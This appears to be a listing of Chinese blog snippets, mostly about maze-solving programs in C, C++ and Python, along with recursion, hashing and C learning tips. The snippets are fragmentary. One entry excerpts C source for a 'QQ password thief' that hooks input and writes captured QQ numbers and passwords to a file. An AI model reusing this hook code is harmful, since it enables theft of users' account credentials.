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纯c语言迷宫源码

#include #include #include // 来自公众号:c语言与cpp编程 /*迷宫的数组*/ int maze[100]...[100]; /*迷宫的行数和列数*/ int m=0,n=0; /* *对迷宫进行初始化,用随机数产生迷宫 */ void InitMaze() { int i,j,temp;...|maze[i-1][j]==9)) { return 5; } return -1; } /* *对迷宫进行打印...*数组的数字有以下含义 *0.该点没有被探索过,且可行 *1.该点不可行 *2.该点是可行的,且进行了向东的探索 *3.该点是可行的,且进行了向南的探索 *4.该点是可行的,且进行了向西的探索 *5....该点是可行的,且进行了向北的探索 *6.该点是入口 *9.该点是出口 *-1.该点已经遍历完毕四个方向,不能找到有效的路径,则置为-1 */ void ShowPath() { int curx=0,cury

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    玩转c语言——c语言小游戏 迷宫小游戏(附源码)

    第一步 要制作迷宫小游戏,我们要利用二维数组搭建场景,制作一个简易的迷宫 #include #include #include #include...for (int i = 0; i 的遍历,输出定义的迷宫; puts(a[i]); return 0; } 第一步迷宫制作完成后,我们就应该考虑如何让小球移动起来...# ", "# ## #", "# # #", "## #", "######" }; int i, x = 1, y = 1;//p,q存储迷宫出口的位置...,走出迷宫后会出现成功过关四个字 我们也可以对走过的步数进行计数; 定义一个count;每移动一次;count++ #include #include #include...tips: 我们可以将迷宫改动的复杂一点,来提高游戏体验感;由你们自己改造迷宫 我们也可以对走的步数进行计数,以此来比较谁到达终点的效率高 好了,学会了就可以快乐游戏了; 升级版来了(增加了步数统计和登陆界面

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    迷宫问题的通用解法C语言数据结构实现

    1.1问题描述 以一个m*n的长方阵表示迷宫,0和1分别表示迷宫中的通路和障碍。设计一个程序,对任意设定的迷宫,求出一条从入口到出口的通路,或得出没有通路的结论。  ...1.2基本要求 输入的形式和范围: 非递归:行列为整型,坐标为整型 递归:迷宫以整型二维数组形式输入 输出的形式:非递归输出三元组通路和方阵通路; 递归以方阵输出迷宫和所有通路; 1、非递归算法,求一条通路输出三元组形式如...:(1,1,1),(1,2,2),(2,2,2),(3,2,3),(3,1,2),…和方阵通路; 2、递归算法,求得迷宫中所有可能的通路,以方阵形式输出迷宫及其通路。...elem);                 i=a;  j=b;  d=0;             }             d++;         }     }     printf("没有出迷宫的路径...    printf("输入迷宫的行数m和列数n:\n");     scanf("%d%d",&m,&n);     int add[4][2]={{0,1},{1,0},{0,-1},{-1,0}

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    C++ 走迷宫

    想了一个寻路算法,用C++实现了一下,界面用MFC完成的很简单。用20x20的方形区域作为迷宫,为了方便,随机选取了大约1/3的格子作为路障,禁止通过。...每个单元与相邻的单元交换路由信息,直到稳定下来,这样就获得了每个单元到出口的路由信息。所谓的路由信息并不是一条完整地路径,只保存了到达出口的跳数(距离)和下一跳(下一步)的位置。...界面很简单,进入程序或者点击建立迷宫时生成一个随机迷宫,点击寻找路径后电脑会执行寻路算法,通过提示框提示寻路是否成功及迭代次数,如果成功显示路径和每个格子到出口的距离。...虽然结果只显示了从左上到右下的最短路径,事实上算法已经计算出每个格子(与出口联通的)到达出口的最短路径和距离。 下面的两组图片是生成的迷宫和找到的路径,运行时间没有计算,人工观测都小于1秒。...寻路的核心代码如下: 数据用的是“vector _blocks”按照行优先的格式存下来的,在之前生成迷宫的时候就已经控制了入口和出口不是障碍,所以一开始先把出口的位置数据初始化了一下

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    C语言实验作业III-迷宫(广度优先搜索)

    C语言实验作业III-迷宫(广度优先搜索) 于2020年6月1日2020年6月1日由Sukuna发布 题目:用0-1矩阵代表有无障碍,要输出一个从左上角到右下角的一个路线 Sample Input&Output...首先构造一个数组,这个数组储存一下每个点是不是都已经遍历过了 再构建一个队列,这个结构储存每一个经过的点的位置坐标以及类似于位置这样的东西 进入main函数,初始化一下:起点是肯定要经过的啦 好了还是进行搜索了首先构造...每次读取head所对应的队列就是类似于找寻对应这个东西有没有路 遍历完毕了,假如说找到了,那就开始输出 这个时候queue的pre就可能是这样子的 -1 0 0 0 1 1 1 2 3 4 5 6 6这样的...,该怎样找出适合我们的路径呢?...这时候这个queue我觉得可以看成一个树,tail对应的就是节点的编号而pre对应着上一个节点的节点的编号,我们就可以进行树的遍历 假如说能找到-1,也就是根节点,那可以说明我们找到了一条路了,这时候递归输出就好了

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    迷宫求解 C++ 栈

    温馨提示:本题为深大OJ原题,深大的同学请勿直接抄袭,以免出现多个代码相同以致评0分的情况,代码和思路仅供参考,希望大家能逐步成长。...题目描述 给出一个N*N的迷宫矩阵示意图,从起点[0,0]出发,寻找路径到达终点[N-1, N-1] 要求使用堆栈对象来实现,具体算法参考课本3.2.4节51页 输入 第一行输入t,表示有t个迷宫 第二行输入...n,表示第一个迷宫有n行n列 第三行起,输入迷宫每一行的每个方格的状态,0表示可通过,1表示不可通过 输入n行 以此类推输入下一个迷宫 输出 逐个输出迷宫的路径 如果迷宫不存在路径,则输出no path...并回车 如果迷宫存在路径,将路径中每个方格的x和y坐标输出,从起点到终点,每输出四个方格就换行,最终以单词END结尾,具体格式参考示范数据 输出的代码参考如下: //path是保存路径的堆栈,堆栈中每个元素都包含...]--[7,10]--[8,10]--[9,10]-- [9,9]--[9,8]--[10,8]--[11,8]-- [11,9]--[11,10]--[11,11]--END no path 思路分析

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    【C语言】函数递归(含扫雷进阶思路)

    一、什么是递归     递归是学习C语⾔函数绕不开的⼀个话题,那什么是递归呢?     递归其实是⼀种解决问题的⽅法,在C语⾔中,递归就是函数⾃⼰调⽤⾃⼰。...写⼀个史上最简单的C语⾔递归代码:     上述就是⼀个简单的递归程序,只不过上⾯的递归只是为了演⽰递归的基本形式,不是为了解决问题,代码最终也会陷⼊死递归,导致栈溢出,因为代码每执行完printf...时,又调用了main函数,也就是又从main函数的头开始,然后再打印,最后一陷入死递归,如果代码突然结束,可能就是程序一直在创建函数栈帧,导致了栈溢出 二、递归的使用思路和限制条件 1.递归的使用思路...,然后再将它倒着打印即可,我们接下来将的是使用递归的思路     想要用递归解决这个问题,那么我们就要明白使用递归的方法思路,也就是将一个大的问题逐步的化解为一个又一个的小问题,先递推,然后到了某种条件再回归...⽤的,就像举例1⼀样,看到推导的公式,很容易就被写成递归的形式:     在C语⾔中每⼀次函数调⽤,都需要为本次函数调⽤在内存的栈区,申请⼀块内存空间来保存函数调⽤期间的各种局部变量的值,这块空间被称为运

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    C++ 栈和典型的迷宫问题

    5.1 迷宫问题 迷宫问题描述:在一个错综复杂的迷宫世界,有一个入口,有一个出口。在入口位置有一只小老鼠,出口位置有一块奶酪。要求通过编码的方式帮助小老鼠在入口到出口之间找到一个可行的路径。...迷宫问题是一类典型问题,解决此类问题的关键思想包括: 试探过程:每到达一个当前位置(第一个当前位置为入口),记录此当前位置四周可尝试的其它位置,然后选择其中一个位置作为当前位置尝试着继续前进。...这时就需要在已经存储的可行位置选择一个,这步操作称为回溯。 很明显,每次记录的可尝试位置是在回溯后使用的,符合先进后出的存储理念。栈在迷宫问题中用来存储可试探的位置。...实现流程: 使用二维数组模拟迷宫。在二维数组中用 0 表示可通行,1 表示不可通行。...总结 本文实现了顺序栈和链式栈,简要介绍了STL中的stack容器,并使用它解决了典型的迷宫问题。

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    C语言很难吗?学习C语言基本思路与参考书籍

    我花时间写这篇文章来给大家讲C语言的学习,当然是希望大家真正的学会、学懂C语言,并能够真正感觉到它的用处,所以很抱歉我不会像培训机构那样,告诉你“零基础”就能够开始学。...二、学C语言到底学些什么—— 「语法」和「函数库」 C语言学习的关键,是要先搞明白,学C语言到底是在学些什么?...那是因为你看的是入门教材,着重讲解语法,顺带提到了少量的 C 语言自带的库函数而已。事实上 C 语言包含的库函数本身就有不少,但是更多更强大的还是许多第三方库函数,例如我上面提到的这些。...但我更建议你了解一些C语言之后再转过来看看会更好。 柴田望洋的《明解C语言》最近是一本广受欢迎的亲切的C语言入门书。...,以及作者在实现时的思路讲解。

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    C语言编程怎么培养编程思维?没思路?我来带你找自己的思路

    1.要【会学】C语言 跟着老师或者自学学完了C语言课本,合起来书,可以用自己的思路,大体描述出这本书从头到尾到底在干什么?为什么要先讲循环函数,而不是一开始就给你讲指针?这就是一个循序渐进的过程。...如果只是单纯的过完了课本,那就是为了学而学C语言,过不了多久什么都会忘的。 在这里,我还是要提到一本书,或许学习C语言的应该都要去读的一本书- C Primer Plus....用心读完这本书,每读一遍,我相信你对C语言都有一个新看法。每次收获的新看法,潜意识里就会影响到你的编程思维,这本书的课后习题,几乎都是模仿生活案例,再引入问题。...比如,你在坐电梯的时候,可以试着去想一下,为什么我一按楼层按钮,电梯就会上或者下?为什么外面有人按了楼层按钮,电梯就会停?就这两个小问题,都可以用你学到的c语言做一个简单的解答。...马克思说:实践是检验真理的唯一标准。你说你懂,我不信,除非你能让我也懂。或者你能让一个真正懂得人,觉得你说的对的。这就真的懂了。 花点时间输出自己,尤其是在自己刚学的时候,很重要的。

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    汉诺塔问题的思路和c语言解决方法

    问应该如何操作移动圆盘的次数最少?...解决思路: 初步理解: 原题要求用64个圆盘来进行操作,我们可以先用一个圆盘来进行模拟,之后再慢慢添加圆盘来解决汉诺塔问题; 倘若只有一个圆盘,我们发现,只需要一步,就可以将第一个柱子上的圆盘移动到最后一个圆盘上..., 如图: 那我们接下来用两个圆盘来模拟一下: 我们会发现我们只需要用三步就可以完成圆盘的转移,即将第一个圆盘转移到中间的柱子上,再将最下面的圆盘转移到最后一个柱子上,再将中间柱子的圆盘放到最后一个柱子上即可...; 经过以上的模拟,那我们就有了解决汉诺塔问题的大概思路;假如我们有三个圆盘,那我们用以上的思路: 将第一个柱子最上面两个圆盘移到中间的柱子上(方法类似与两个圆盘,将两个圆盘移到最后一个柱子上,...依次类推: 四个圆盘的汉诺塔问题只需两次三个圆盘的转移和一次一个圆盘的转移即7+7+1一共15步就可以解决该问题; 故n个圆盘的汉诺塔问题就只需2……n-1(2的n次方减1); C语言的实现方法: 在这里我用

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    c语言qq加密具体思路,悄悄告诉你:C语言如何实现QQ密码大盗

    (3)钩子函数的解释。 (4)处理密码。 以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!...此内容也许全是密码,也许是QQ号+QQ密码 for(j=0;j<20;j++) { psw[j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]=’\0’; //把QQ号码和QQ密码写入C盘...password.txt中 f=CreateFile(“c:\\password.txt”,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL...strcat(total,”密码:”); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); } 最后在C盘...,请大家千万别笑话,我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理,希望和大侠们交流!

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    C语言------一种思路解决实际问题

    1.比赛名次问题 ABCDE参加比赛,那么每个人的名次都有5种可能,即1,2,3,4,5; int main() { int a = 0; int b = 0; int c = 0; int d...= 0; int e = 0; for (a = 1; a <= 5; a++) { for (b = 1; b <= 5; b++) { for (c = 1; c c == 5) == 1 && (e == 4) && (a == 1) == 1) { if (a * b * c * d * e == 120...} } } } 这道题目的主要思想就是使用判断语句,真就是1,假就是0,每位选手只有一个人说的是对的,就是2个判断条件的和是1,使用逻辑与运算符,使得每个人的话都是一半对; 如果这样结束,我们会发现会出现名次相同的情况...,所以要使得他们分别对应12345个名次,就要满足名次的乘积是120; 其实我们不难发现,如果这道题目真的使用传统方法解决,很难办,但是当我们使用假就是0,真就是1的时候,就可以很快的得到位序。

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    穿越数据迷宫:C++哈希表的奇幻旅程

    前言 在C++的世界中,哈希表是一种高效、独特的数据结构,被广泛应用于需要快速查找、插入、删除的场景。通过哈希函数将数据映射到表中,它不仅提高了操作效率,还在解决冲突时展现了精巧的设计。...一、unordered系列关联式容器 在 C++ 标准库中,unordered 系列容器(如 unordered_map 和 unordered_set)是一类基于哈希表实现的关联式容器。...在 C++ 中,标准库提供了许多内置类型的哈希函数,如 std::hash、std::hash 等。此外,用户也可以为自定义类型定义自己的哈希函数。...quadraticProbing(int hashValue, int i, int tableSize) { return (hashValue + i * i) % tableSize; } c....希望本篇博客能帮助你在C++的学习道路上更进一步,感受到编程的魅力。 今天的分享到这里就结束啦!

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    Python实现动态迷宫生成:自动生成迷宫的动画

    引言 迷宫生成算法在游戏开发和图形学中有着广泛的应用。它不仅可以用于创建迷宫游戏,还可以用于生成有趣的图案。在这篇博客中,我们将使用Python创建一个动态迷宫生成的动画效果。...通过利用Pygame库和深度优先搜索算法,我们可以实现一个自动生成迷宫的动画。 准备工作 前置条件 在开始之前,你需要确保你的系统已经安装了Pygame库。...代码实现与解析 导入必要的库 我们首先需要导入Pygame库和其他必要的模块: import pygame import random 初始化Pygame 我们需要初始化Pygame并设置屏幕的基本参数...= pygame.time.Clock() 定义迷宫生成类 我们创建一个Maze类来定义迷宫的属性和生成行为: class Maze: def __init__(self, width, height...= current x2, y2 = next self.grid[(y1 + y2) // 2][(x1 + x2) // 2] = 1 主循环 我们在主循环中更新迷宫的生成状态并绘制

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    使用Python语言实现走迷宫小游戏

    目录 引言 关于走迷宫游戏 实现走迷宫步骤 具体实现代码 具体运行效果 结束语 引言 本期继续分享使用python语言来实现小游戏,这次实现的小游戏是迷宫游戏。...其实迷宫游戏也是一种令人着迷的智力游戏,通过解决迷宫中的难题来寻找出口,那么在本文这个课题中,将继续使用Python编程语言实现一个简单而有趣的走迷宫小游戏。...具体实现代码 接下来就来分享一下关于python语言实现走迷宫的源码,这里只是一个简单的示例代码,实现了一个基于文本的迷宫游戏,具体代码如下所示: maze = [ ['S', ' ', ' '...break play_game() 具体运行效果 上文示例代码的具体实现效果如下所示: 结束语 通过本文的学习和实践,我们成功地使用Python编程语言实现了一个简单而有趣的走迷宫小游戏,经过设计迷宫地图...我觉得通过编写走迷宫小游戏,可以锻炼自己的编程思维、逻辑推理和问题解决能力,也学会了将抽象的游戏规则转化为可执行的代码,通过调试和优化不断改进游戏的体验,而且这个项目也展示了Python编程语言的优秀特性和广泛应用性

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